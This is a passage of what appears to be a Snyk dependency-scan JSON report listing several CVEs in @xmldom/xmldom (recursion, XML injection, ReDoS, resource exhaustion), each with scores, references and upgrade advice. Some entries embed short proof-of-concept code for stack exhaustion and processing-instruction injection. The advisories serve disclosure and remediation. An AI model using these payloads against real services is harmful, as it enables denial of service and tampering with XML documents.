"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134530",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Jvr2022",
"praveen-kv",
"KarimTantawey"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:05:50.779778Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:31.641683Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:31.641683Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:05:50.779778Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including `normalize`, `serializeToString`, `getElementsByTagName`, `getElementsByTagNameNS`, `getElementsByClassName`, `getElementById`, `cloneNode`, `importNode`, `textContent`, and `isEqualNode`. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.\n## PoC\n```\r\nconst { DOMParser, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst depth = 5000;\r\nconst xml = ''.repeat(depth) + ''.repeat(depth);\r\nconst doc = new DOMParser().parseFromString(xml, 'text/xml');\r\nnew XMLSerializer().serializeToString(doc);\r\n// RangeError: Maximum call stack size exceeded\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-2v35-w6hq-6mfw)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/17678a2a73ecbd1a2da90f3d47dc23da9cef81aa)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/291257493cb0eb6980eda83b162a9c4e6d7d2597)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2d6d6916ed8a4c223db1f6d7560ab4544c465b0f)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/430357c7b6333108856e917bf2367afe5ceb6f8a)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/4845ef109221df0890825de2822fbe77afba3afe)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/8834218c85ac2a4d757b9587c9028e67c2f7b6c3)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/8b7cfd1491314abdc347261921d7334ff15f7112)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/b0620383abc1df067f3ce1014c43ae1bc1161eeb)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/e6edcab6bef5bcdba0b220bb35442aa72f452b84)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.57369",
"probability": "0.00882",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41673"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-2v35-w6hq-6mfw"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:25:04.797294Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:23:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:25:05.004748Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:31.641683Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134549",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-16T17:44:34.194722Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:30.786994Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:30.786994Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-16T17:44:34.194722Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection in the serialization of `DocumentType` nodes when attacker-controlled values are provided to the `publicId`, `systemId`, or `internalSubset` fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if untrusted data is passed programmatically to `createDocumentType` or written directly to the relevant properties and then serialized without enabling strict validation.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by passing the option `{ requireWellFormed: true }` to `XMLSerializer.serializeToString()` to enforce validation of the affected fields.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-f6ww-3ggp-fr8h)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/372008f9ae0e20fd69f761c7b79e202598267314)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.48934",
"probability": "0.00650",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41674"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-f6ww-3ggp-fr8h"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:45:07.349679Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:19:12Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:45:07.541457Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:30.786994Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16134552",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"tlsbollei",
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.13",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.10",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:07:29.272228Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:30.863664Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:30.863664Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:07:29.272228Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `createProcessingInstruction` function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the serialization is performed without passing the `{ requireWellFormed: true }` option.\n## PoC\n```\r\nconst { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst doc = new DOMImplementation().createDocument(null, 'r', null);\r\ndoc.documentElement.appendChild(\r\n doc.createProcessingInstruction('a', '?>\r\n// ^^^^ injected element is active markup\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-x6wf-f3px-wcqx)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/7207a4b0e0bcc228868075ed991665ef9f73b1c2)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.13)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.10)\n",
"epssDetails": {
"percentile": "0.48075",
"probability": "0.00633",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41675"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-x6wf-f3px-wcqx"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T10:48:23.320683Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-22T20:17:58Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T10:48:23.532587Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:30.863664Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19498556",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
"<0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/57aec90ac57b4408ae7c5d1746bf2a693b5ed90e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/85f12eb4d14b44de33216cfb72b50af4d24e9fdd",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1071",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.1,
"modificationTime": "2026-09-03T07:56:32.437300Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:23:59.865511Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:23:59.865511Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.1,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:32.437300Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via improper validation of the `name` property in the DocumentType node when `requireWellFormed` is set to true. An attacker can inject arbitrary markup into the output by supplying a crafted value to the `name` property, potentially leading to the injection of sibling elements or manipulation of the document structure.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15, 0.9.12 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/57aec90ac57b4408ae7c5d1746bf2a693b5ed90e)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/85f12eb4d14b44de33216cfb72b50af4d24e9fdd)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1071)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.12)\n",
"epssDetails": {
"percentile": "0.46991",
"probability": "0.00612",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83608"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-27p8-2357-5qqv"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:15:37.574840Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:02:07.252000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:15:37.769617Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:23:59.865511Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19498558",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Christian Bewernitz"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-x4fp-j954-r2f4",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/1072",
"title": "GitHub PR"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-03T07:56:22.571528Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:19:08.702831Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:19:08.702831Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:56:22.571528Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `parseFromString` function. An attacker can cause excessive resource consumption and stall the event loop by submitting specially crafted XML input containing long whitespace runs in end tags.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.15 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-x4fp-j954-r2f4)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/3abb0934f5a8a84d83a1f9cde0f2bd04c08b2a09)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/1072)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.15)\n",
"epssDetails": {
"percentile": "0.41913",
"probability": "0.00524",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-83619"
],
"CWE": [
"CWE-1333",
"CWE-770"
],
"GHSA": [
"GHSA-x4fp-j954-r2f4"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-09-02T13:20:22.704604Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-01T17:01:17.721000Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-02T13:20:22.887546Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:19:08.702831Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-19499069",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Eric Chiang"
],
"semver": {
"vulnerable": [
">=0.7.0 <0.8.15",
">=0.9.0-beta.1 <0.9.12"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.15",
"0.9.12"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-965w-775f-mr7g",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/954370f58c046223faf95ba77efcbc8ce014409d",
"title": "GitHub Commit"
},
{
